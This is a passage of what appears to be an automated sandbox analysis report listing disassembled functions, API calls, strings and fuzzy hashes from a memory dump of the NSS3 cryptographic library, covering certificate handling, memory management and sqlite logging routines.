Opcode ID: cd261bdf567b1a35faeca3860b6e019b647be8e89380cd6f9c4db504b6f164e0
Instruction ID: b43aba0ee6997e3e4fb7e32a26f316bcf2d1eb7887351cdfb4c9ee0199421bff
Opcode Fuzzy Hash: cd261bdf567b1a35faeca3860b6e019b647be8e89380cd6f9c4db504b6f164e0
Instruction Fuzzy Hash: 92513772E002009BEB216F69DE49B6A73BCEF45318F054579DE0947B12EB39E858CBD1

Function 6C6D2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(05D3D763), ref: 6C6D2C5D

Part of subcall function 6C730D30: calloc.MOZGLUE ref: 6C730D50
Part of subcall function 6C730D30: TlsGetValue.KERNEL32 ref: 6C730D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C6D2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6D2CE0

Part of subcall function 6C6D2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6D2CDA,?,00000000), ref: 6C6D2E1E
Part of subcall function 6C6D2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C6D2E33
Part of subcall function 6C6D2E00: TlsGetValue.KERNEL32 ref: 6C6D2E4E
Part of subcall function 6C6D2E00: EnterCriticalSection.KERNEL32(?), ref: 6C6D2E5E
Part of subcall function 6C6D2E00: PL_HashTableLookup.NSS3(?), ref: 6C6D2E71
Part of subcall function 6C6D2E00: PL_HashTableRemove.NSS3(?), ref: 6C6D2E84
Part of subcall function 6C6D2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C6D2E96
Part of subcall function 6C6D2E00: PR_Unlock.NSS3 ref: 6C6D2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C6D2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C6D2D3F
free.MOZGLUE(00000000), ref: 6C6D2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C6D2DB8
free.MOZGLUE ref: 6C6D2DC8

Part of subcall function 6C6D3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D3EC2
Part of subcall function 6C6D3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6D3ED6
Part of subcall function 6C6D3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6D3EEE
Part of subcall function 6C6D3E60: PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6D3F02
Part of subcall function 6C6D3E60: PL_FreeArenaPool.NSS3 ref: 6C6D3F14
Part of subcall function 6C6D3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6D3F27

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 742224429ba9b9c5e1346c2e685ca3cdaadfbc2332bfde9f1aafc0046a163339
Instruction ID: 9a49473721d494875c7e813296facc993bbd1e8cda8ab9d58d8d5dfb5eaadb51
Opcode Fuzzy Hash: 742224429ba9b9c5e1346c2e685ca3cdaadfbc2332bfde9f1aafc0046a163339
Instruction Fuzzy Hash: CE51EE71A043129BEB119E29DC89B6B77E5EF88308F160438EC5983650EB31FC15CB9A

Function 6C6D7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C6D3F7F,?,00000055,?,?,6C6D1666,?,?), ref: 6C6D40D9
Part of subcall function 6C6D40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C6D1666,?,?), ref: 6C6D40FC
Part of subcall function 6C6D40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C6D1666,?,?), ref: 6C6D4138

PR_GetCurrentThread.NSS3 ref: 6C6D7CFD

Part of subcall function 6C799BF0: TlsGetValue.KERNEL32(?,?,?,6C7E0A75), ref: 6C799C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C7F9030), ref: 6C6D7D1B

Part of subcall function 6C72FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C6D1A3E,00000048,00000054), ref: 6C72FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C7F9048), ref: 6C6D7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C6D7D50
PR_GetCurrentThread.NSS3 ref: 6C6D7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C6D7D7D
free.MOZGLUE(?), ref: 6C6D7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C6D7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C6D7E19

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 1a2161e181b75548ddc2397534cd185228e4f87d7529fa91f52ad8627c7e8a62
Instruction ID: ad61f7aa58a09380f02239c785e7aef0913fe9a0d1ee2dd078d2ec06f0c7ffc4
Opcode Fuzzy Hash: 1a2161e181b75548ddc2397534cd185228e4f87d7529fa91f52ad8627c7e8a62
Instruction Fuzzy Hash: 2A410672A0011A9BEB008F699C49BAF33E4AF5535CF160024EC19A7755E730F915C7EA

Function 6C6E7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6E80DD), ref: 6C6E7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6E80DD), ref: 6C6E7F36
free.MOZGLUE(?,?,?,6C6E80DD), ref: 6C6E7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6E80DD), ref: 6C6E7F5D
DeleteCriticalSection.KERNEL32(?,6C6E80DD), ref: 6C6E7F94
free.MOZGLUE(?), ref: 6C6E7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6E80DD), ref: 6C6E7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6E80DD), ref: 6C6E7FE6
free.MOZGLUE(?,6C6E80DD), ref: 6C6E802D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 9cc9ec69e39d7dbdd8e76a8de1cf67874eb286984a688ca2dacd76ff3ffc65db
Instruction ID: 3d8981cc29c92a97ca184c8e7343425acafcc0221ab0e434e03009912e326b56
Opcode Fuzzy Hash: 9cc9ec69e39d7dbdd8e76a8de1cf67874eb286984a688ca2dacd76ff3ffc65db
Instruction Fuzzy Hash: BB41E4B1B052008BDF309BF8998DA4A3775AB4B35CF111A3AE61987742D738E405CBD9

Function 6C72FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72FF00

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C72FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C72FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C72FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C72FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C72FF8C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 2891208bb1bd4f642df7057ddc79fd0c25dc3078e2d33076e7608764e1f8ab83
Instruction ID: 0cc62766c5b206442ba7b0085f7b60ee42dd71edaacc3ddb86a4517362ca5d81
Opcode Fuzzy Hash: 2891208bb1bd4f642df7057ddc79fd0c25dc3078e2d33076e7608764e1f8ab83
Instruction Fuzzy Hash: DA3142B6D013729BEB208F588E48B5B76A8AF46348F140138ED1C8BB42F738D904C7D1

Function 6C733CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C7338BD), ref: 6C733CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C7338BD), ref: 6C733CD1

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C7338BD), ref: 6C733CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C80B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C7338BD), ref: 6C733D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C7338BD), ref: 6C733D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C80B369,000000FF,00000000,00000000,00000000,6C7338BD), ref: 6C733D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C733D47
free.MOZGLUE(00000000), ref: 6C733D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C7338BD), ref: 6C733D6F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 9f5c1f14dfc927c99e8f45141667f03af777ccf0acd9c15b8a40414b747351c6
Instruction ID: 14e7bc39156ca98dbc7280858d23d86a75d784ab6cddd6c47ff0d5bf64b869d4
Opcode Fuzzy Hash: 9f5c1f14dfc927c99e8f45141667f03af777ccf0acd9c15b8a40414b747351c6
Instruction Fuzzy Hash: AC21D4B570152277FB30667A4D0EE7B39ACDF826A9B140635B83DD76C2DA60C801C2F1

Function 6C677D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C677E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C677E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C677EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C677F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C677ED8, 6C677F08, 6C677F19
database corruption, xrefs: 6C677EE2, 6C677F23
%s at line %d of [%.10s], xrefs: 6C677EE7, 6C677F28

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a49c9c15485ef718674abf89a496f8d0d859709652e62d1ac096eb02d1c35592
Instruction ID: cc3096f4693e0ee9a36746c0d6978f4ebcc13470cd8c85771f31c7c03476294d
Opcode Fuzzy Hash: a49c9c15485ef718674abf89a496f8d0d859709652e62d1ac096eb02d1c35592
Instruction Fuzzy Hash: 0861B170B042059FCB26CF24C990BAA37A2FF45308F144DA8EC094BB52D735EC56CBA9

Function 6C65FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C65FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C65FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65FE83

Part of subcall function 6C65FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C65FEFA
Part of subcall function 6C65FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C65FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C65FD64, 6C65FE26
database corruption, xrefs: 6C65FD6E, 6C65FE30
%s at line %d of [%.10s], xrefs: 6C65FD73, 6C65FE35

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 1d825991215d0889233d61f2ee6ad726190d3865368e04b14ba337efc40e0c6d
Instruction ID: 5525ebc38e470754eb8cb197225a6edbb2089ec5dc77aaec6c044d7b1bb3a160
Opcode Fuzzy Hash: 1d825991215d0889233d61f2ee6ad726190d3865368e04b14ba337efc40e0c6d
Instruction Fuzzy Hash: 1851A271B002059FDB04CFA9C990AAEB7F1FF48308F644569E905AB752E731EC51CBA9

Function 6C7A2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7A2FFD
sqlite3_initialize.NSS3 ref: 6C7A3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7A3032
sqlite3_mprintf.NSS3(6C80AAF9,?), ref: 6C7A3073
sqlite3_free.NSS3(?), ref: 6C7A30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7A30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7A30BB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: c2b245c71103bb062aa6eb752c7330b8d0c324038d4f2a401a799d9dfca08ed4
Instruction ID: 4ddb13be68a509a2a1a621e79a553a41108fbbf5d75b9722e066f4feb66bb3c5
Opcode Fuzzy Hash: c2b245c71103bb062aa6eb752c7330b8d0c324038d4f2a401a799d9dfca08ed4
Instruction Fuzzy Hash: 2941C275600606ABDB00CF66D944A87B7A6FF48368F148A38EC5987B40E731F956CBD1

Function 6C725ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]rl), ref: 6C725F0A
TlsGetValue.KERNEL32 ref: 6C725F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C725F2F
PR_Unlock.NSS3(890008E8), ref: 6C725F55
PR_SetError.NSS3(00000000,00000000), ref: 6C725F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C725F7D

Part of subcall function 6C725220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C725F82,8B4274C0), ref: 6C725248
Part of subcall function 6C725220: EnterCriticalSection.KERNEL32(0F6C7F0D,?,6C725F82,8B4274C0), ref: 6C72525C
Part of subcall function 6C725220: PR_SetError.NSS3(00000000,00000000), ref: 6C72528E
Part of subcall function 6C725220: PR_Unlock.NSS3(0F6C7EF1), ref: 6C725299
Part of subcall function 6C725220: free.MOZGLUE(00000000), ref: 6C7252A9

Strings

q]rl, xrefs: 6C725EDB, 6C725F09

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]rl
API String ID: 3150690610-3484324609
Opcode ID: 39ea537179a1c6df4666a95ea2c434f4a745c6cc38be64cfb1112876c8489c28
Instruction ID: 01cfb9da8934c884343af27320084a6ef6f5e91747b02ddf0daac6ab0f7e1729
Opcode Fuzzy Hash: 39ea537179a1c6df4666a95ea2c434f4a745c6cc38be64cfb1112876c8489c28
Instruction Fuzzy Hash: C921D6B1D002049BDB209F68ED49AEEB7B4EF09318F544039E909A7741E735A958CBD1

Function 6C6E8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C6F124D,00000001), ref: 6C6E8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C6F124D,00000001), ref: 6C6E8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C6F124D,00000001), ref: 6C6E8D73
PR_Unlock.NSS3(?,?,?,?,?,6C6F124D,00000001), ref: 6C6E8D8C

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C6F124D,00000001), ref: 6C6E8DBA

Strings

KRAM, xrefs: 6C6E8CF9
KRAM, xrefs: 6C6E8D3E

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: ca4737e08b841c67b259bd4fcaa024840bccf8ef9510bbe4c83f0ac3094a7149
Instruction ID: 0236afd06bcad37aa425a7e85d2272cd18864e4727f46c63a1b31d285f206641
Opcode Fuzzy Hash: ca4737e08b841c67b259bd4fcaa024840bccf8ef9510bbe4c83f0ac3094a7149
Instruction Fuzzy Hash: 0F219CB1A096008FCB00EF3CC5882AAB7F0FF4D318F15896AD8988B711E734D841CB95

Function 6C7E0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C7E0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C7E0EFA

Part of subcall function 6C6CAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6CAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F2B

Strings

Aborting, xrefs: 6C7E0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C7E0ED9, 6C7E0EE5, 6C7E0F06, 6C7E0F0B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 41b9d6f0222f44cac735093bfd0b01c9f3f24b48b95a72f3d7847027fd244c9c
Instruction ID: 6ad9bf2f6360187e6ca67a4f4866c30a7ade1ac215362ffe12756c148d6f9e91
Opcode Fuzzy Hash: 41b9d6f0222f44cac735093bfd0b01c9f3f24b48b95a72f3d7847027fd244c9c
Instruction Fuzzy Hash: 6701C0B6900104BBDF11AFA4DC898AB3F3CEF4A268B044434FD098B702D635E920D6E2

Function 6C7C1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=ll,?,?,6C6C4E1D), ref: 6C7C1C8A
sqlite3_free.NSS3(00000000), ref: 6C7C1CB6

Strings

a generated column, xrefs: 6C7C1C6C
an index, xrefs: 6C7C1C67
a CHECK constraint, xrefs: 6C7C1C76, 6C7C1C81
